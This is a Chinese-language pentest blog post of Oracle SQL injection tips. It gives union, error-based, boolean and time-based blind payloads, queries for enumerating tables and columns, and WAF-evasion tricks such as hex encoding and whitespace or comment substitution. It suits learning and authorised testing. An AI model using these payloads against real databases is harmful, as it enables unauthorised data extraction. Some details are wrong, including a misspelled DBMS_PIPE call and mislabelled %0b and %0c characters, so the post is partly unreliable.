AgainstHumanity64
死肥宅/学生/真实蒟蒻/安全狗
可怜,无助又肥胖 - 而且看上去很无趣。唯一爱好是膜各位julao。
吹过的逼大部分都没完成。

Tagged: pentest

Oracle注入的一些坑 | Oracle injection tips

由于之前没注入过oracle数据库,所以面临被坑的危机。为了避免更多人遇到oracle的坑,想到只要写些东西,写的越全面,被坑的人也就会越少,所以,我决定写一篇文章,希望可以用踩过的坑来避免后来人少走弯路。(某l开头番剧梗)

注意: 在此之前,我们认为你已经掌握SQL语法,并熟练使用一种SQL。

索引 | Contents

oracle使用all_tables及all_tab_columns, 相对与mysql的information_schema 的schemata, tables及columns(被拦可以xx_usages, key_column_usages, xxx_stat, xxx_priv做绕过).
值得一提, oracle的数据库字段为owner而不是database或schema。

oracle使用rownum和rowid来选择条目,而不是limit.值得注意的一点是这里需要用临时表来进行调整才可以正常选择。

SELECT TABLE_NAME FROM (SELECT TABLE_NAME , rownum as r FROM (SELECT DISTINCT TABLE_NAME FROM all_tables)) WHERE r=1

这等价于mysql的

SELECT * FROM INFORMATION.TABLES LIMIT 0, 1

union型注入 | Union-based

oracle的union型注入类似mysql,在此不做赘述。

UNION SELECT TABLE_NAME FROM ALL_TABLES WHERE rownum=1 

等价与mysql的

UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1

注意此处的rownum。

错误型注入 | Error-based

oracle的函数也允许错误型注入。
以下内容来自 [REF]

错误的HTTP请求

SELECT utl_inaddr.get_host_name((SELECT 1 FROM dual)) FROM dual WHERE 1=1

这通过 utl_inaddr的get_host_name方法获取主机名以查询结果命名, 当然如果你要的结果是个url, 纯属运气问题。

CTXSYS.DRITHSX.SN

SELECT CTXSYS.DRITHSX.SN(1,(SELECT 1 FROM dual)) FROM dual

暂时未找到与此相关函数,根据报错信息推测CTXSYS.DRITHSX.SN函数用于获取产品之SN,由于未找到以查询结果为名之产品,故报错。此方式需要安装CTXSYS包且对相关包有访问权限且Oracle版本为11g。如果你的结果是个有效的版本名,纯属运气问题。

错误的XPath

 SELECT ordsys.ord_dicom.getmappingxpath((SELECT 1 FROM dual), 1, 1) FROM dual

此方法类似mysql中的extractxml(),通过错误的XPath报错。

盲注 | Blind Injection

布尔盲注

SELECT 1 FROM dual WHERE 1=1 AND (SELECT 1 FROM dual) like '1'

简单的构造布尔表达式来进行盲注。

时间盲注

SELECT 1 FROM dual WHERE 1=1 AND (SELECT 1 FROM dual) = DBMS_PIPE.RECIVE_MESSAGE('1', 3)

这在Oracle19c中获得了一个”Invalid statement”错误,根据手册上的指引,这理论上将接收指定的字符串并存入缓冲区,等待timeout秒。默认时间为1000天,如果你愿意。
也许会造成一个502错误,但谁会在乎呢 =P
以下内容来自Manual:

RECEIVE_MESSAGE Function

This function copies the message into the local message buffer.

Syntax

DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;

Pragmas

pragma restrict_references(receive_message,WNDS,RNDS);  

以上内容来自Manual

参考 | Reference

库名

SELECT owner FROM all_tables

注意: 数据库名在Oracle里是owner,并且看上去Oracle使用用户来标识数据库。

表名

SELECT table_name FROM all_tables

列名

SELECT column_name FROM all_tab_columns

注意: all_tab_columns包含owner和table_name列,甚至包含data_type及data_type_length列,所以你大可使用all_tab_columns来进行其它的查询,就像MySQL中的information_schema.tables一样,当然,我发誓你不会这么做的-Oracle的limit clause显然太过繁琐,尤其是在你试图绕过一些防火墙时。

绕过技巧 | Bypass Techniques

你可以使用hextoraw()及asciistr()搭配UTL_RAW.CAST_TO_VARCHAR2()函数来进行ascii的编码。

SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(3230303730383331)) FROM dual

你可以使用rawtohex()进行ascii的解码。

SELECT rawtohex('a') FROM dual

所以到底谁会这么做呢…
Oracle当然可以使用/**/作为空格符,就像MySQL一样,但是它不支持使用感叹号来执行低版本的SQL语句。这当然也是个优点-你可以通过使用一些包含可执行注释代码的语句来迷惑针对MySQL进行优化的WAF。Oracle也支持–作为单行注释,它一样可以使用–\n绕过一些WAF。它一样支持使用部分空格符(在正则里表现为’\s’)作为空格来进行空格的替换,诸如

SELECT 1 FROM dual           // Yet another query
SELECT%0a1%0aFROM%0adual;            //Replace space with %0a('\n')
SELECT%0b1%0bFROM%0bdual            //Replace space with %0b("\t")
SELECT%0c1%0cFROM%0cdual            //Replace space with %0c("\r")
SELECT/**/1/**/FROM/**/dual              //Replace space with multi-line comment "/**/"
SELECT--%0a1--%0aFROM--%0adual    //Replace space with single-line comment "--" and "\n"
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual   // Use version-limited to fuck with some WAF.

一些题外话 | Misc

听说Oracle, MSSQL都已经图灵完备了,MySQL还真是不争气呢(笑)
你看看人家的孩子.jpg
也许可以开一个用SQL做图灵机或者高级语言的坑,名字就叫SQLFuck好了www

本文为原创文章且采用CC-BY-NC-SA 授权,请务必在转载时标明来源且采用同样方式授权。
http://198.13.59.47/index.php/2019/02/13/oracle-injection-tips/(opens in a new tab)